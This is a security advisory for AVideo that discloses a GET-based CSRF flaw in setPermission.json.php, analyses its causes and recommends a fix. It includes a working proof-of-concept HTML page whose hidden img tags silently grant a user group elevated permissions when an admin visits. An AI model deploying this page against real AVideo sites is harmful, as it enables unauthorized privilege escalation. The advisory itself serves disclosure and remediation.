GHSA-g8x9-7mgh-7cvj
AVideo's GET-Based CSRF in setPermission.json.php Enables Privilege Escalation via Arbitrary Permission Modification
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| Packagist | wwbn/avideo | <= 26.0 | no fix listed |
Details
As written in the advisory (Markdown source, shown as plain text).
## Summary
The `plugin/Permissions/setPermission.json.php` endpoint accepts GET parameters for a state-changing operation that modifies user group permissions. The endpoint has no CSRF token validation, and the application explicitly sets `session.cookie_samesite=None` on session cookies. This allows an unauthenticated attacker to craft a page with `<img>` tags that, when visited by an admin, silently grant arbitrary permissions to the attacker's user group — escalating the attacker to near-admin access.
## Details
The root cause is a combination of three issues:
**1. `$_REQUEST` used instead of `$_POST` (accepts GET parameters):**
`plugin/Permissions/setPermission.json.php:14-24`:
```php
$intvalList = array('users_groups_id','plugins_id','type','isEnabled');
foreach ($intvalList as $value) {
if($_REQUEST[$value]==='true'){
$_REQUEST[$value] = 1;
}else{
$_REQUEST[$value] = intval($_REQUEST[$value]);
}
}
$obj = new stdClass();
$obj->id = Permissions::setPermission($_REQUEST['users_groups_id'], $_REQUEST['plugins_id'], $_REQUEST['type'], $_REQUEST['isEnabled']);
```
The only authorization check is `User::isAdmin()` at line 10 — there is no CSRF token validation via `isGlobalTokenValid()`.
**2. Session cookies set to `SameSite=None`:**
`objects/include_config.php:134-141`:
```php
if ($isHTTPS) {
// SameSite=None is intentional: AVideo supports cross-origin iframe embedding
ini_set('session.cookie_samesite', 'None');
ini_set('session.cookie_secure', '1');
}
```
This means the admin's session cookie is sent on cross-origin requests, including those initiated by `<img src="...">` tags on attacker-controlled pages.
**3. The codebase's own security model requires CSRF tokens on state-mutating endpoints:**
The comment at `include_config.php:137-138` states: *"All state-mutating endpoints that are vulnerable to CSRF must instead enforce a short-lived globalToken (verifyToken)."* Other endpoints like `saveSort.json.php` and `pluginImport.json.php` enforce `isGlobalTokenValid()`, but `setPermission.json.php` does not.
**Execution flow:**
1. Attacker hosts a page containing `<img src="https://target/plugin/Permissions/setPermission.json.php?users_groups_id=2&plugins_id=1&type=10&isEnabled=true">`
2. Admin visits the page (e.g., via link in forum, email, or embedded content)
3. Browser issues GET request with the admin's `SameSite=None` session cookie
4. `User::isAdmin()` passes because the request carries the admin's session
5. `Permissions::setPermission()` grants PERMISSION_FULLACCESSVIDEOS (type=10) to user group 2
6. Any user in group 2 (including the attacker) now has full video admin access
The `users_groups_id` values are small sequential integers (typically 1-3 for default groups) and can be trivially enumerated.
## PoC
**Step 1: Attacker creates a page granting multiple permissions to their user group (ID 2):**
```html
<!DOCTYPE html>
<html>
<head><title>Interesting Video</title></head>
<body>
<h1>Check out this video!</h1>
<!-- Each img tag silently fires a GET request with admin's session cookie -->
<!-- PERMISSION_FULLACCESSVIDEOS (type=10) -->
<img src='https://target.example.com/plugin/Permissions/setPermission.json.php?users_groups_id=2&plugins_id=1&type=10&isEnabled=true' style='display:none'>
<!-- PERMISSION_USERS (type=20) -->
<img src='https://target.example.com/plugin/Permissions/setPermission.json.php?users_groups_id=2&plugins_id=1&type=20&isEnabled=true' style='display:none'>
<!-- PERMISSION_CAN_UPLOAD_VIDEOS (type=70) -->
<img src='https://target.example.com/plugin/Permissions/setPermission.json.php?users_groups_id=2&plugins_id=1&type=70&isEnabled=true' style='display:none'>
<!-- PERMISSION_CAN_LIVESTREAM (type=80) -->
<img src='https://target.example.com/plugin/Permissions/setPermission.json.php?users_groups_id=2&plugins_id=1&type=80&isEnabled=true' style='display:none'>
</body>
</html>
```
**Step 2: Attacker sends the link to an admin (social engineering, forum post, etc.)**
**Step 3: When the admin loads the page, all four `<img>` tags fire simultaneously.**
Expected response for each request (visible in browser dev tools):
```json
{"id":"1"}
```
**Step 4: Verify — the attacker (a regular user in group 2) now has full video management, user management, upload, and livestream permissions without being an admin.**
## Impact
- **Privilege escalation:** A low-privileged user can gain near-admin permissions (full video access, user management, upload, livestream) by tricking an admin into loading a single page.
- **No JavaScript required:** The attack uses only `<img>` tags, bypassing Content Security Policy restrictions and working even in contexts where scripts are blocked (email clients, forum BBCode, etc.).
- **Zero interaction beyond page load:** Unlike POST-based CSRF that requires form submission or JavaScript, this fires automatically when the page renders.
- **Chaining:** Multiple permissions can be granted simultaneously by embedding multiple `<img>` tags. An attacker can grant their group all available permission types in a single page load.
- **Blast radius:** All users in the targeted group receive the escalated permissions, not just the attacker.
## Recommended Fix
In `plugin/Permissions/setPermission.json.php`, change `$_REQUEST` to `$_POST` and add CSRF token validation:
```php
<?php
header('Content-Type: application/json');
if (!isset($global['systemRootPath'])) {
$configFile = '../../videos/configuration.php';
if (file_exists($configFile)) {
require_once $configFile;
}
}
if(!User::isAdmin()){
forbiddenPage("Not admin");
}
// Enforce POST method and CSRF token
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
die(json_encode(array('error' => 'POST method required')));
}
if (!isGlobalTokenValid()) {
die(json_encode(array('error' => 'Invalid CSRF token')));
}
$intvalList = array('users_groups_id','plugins_id','type','isEnabled');
foreach ($intvalList as $value) {
if($_POST[$value]==='true'){
$_POST[$value] = 1;
}else{
$_POST[$value] = intval($_POST[$value]);
}
}
$obj = new stdClass();
$obj->id = Permissions::setPermission($_POST['users_groups_id'], $_POST['plugins_id'], $_POST['type'], $_POST['isEnabled']);
die(json_encode($obj));
```
The AJAX call in `getPermissionsFromPlugin.html.php:84-92` already uses `type: 'post'` but must also send the `globalToken` parameter in its data payload.
References
External links from the advisory. They lead to third-party sites.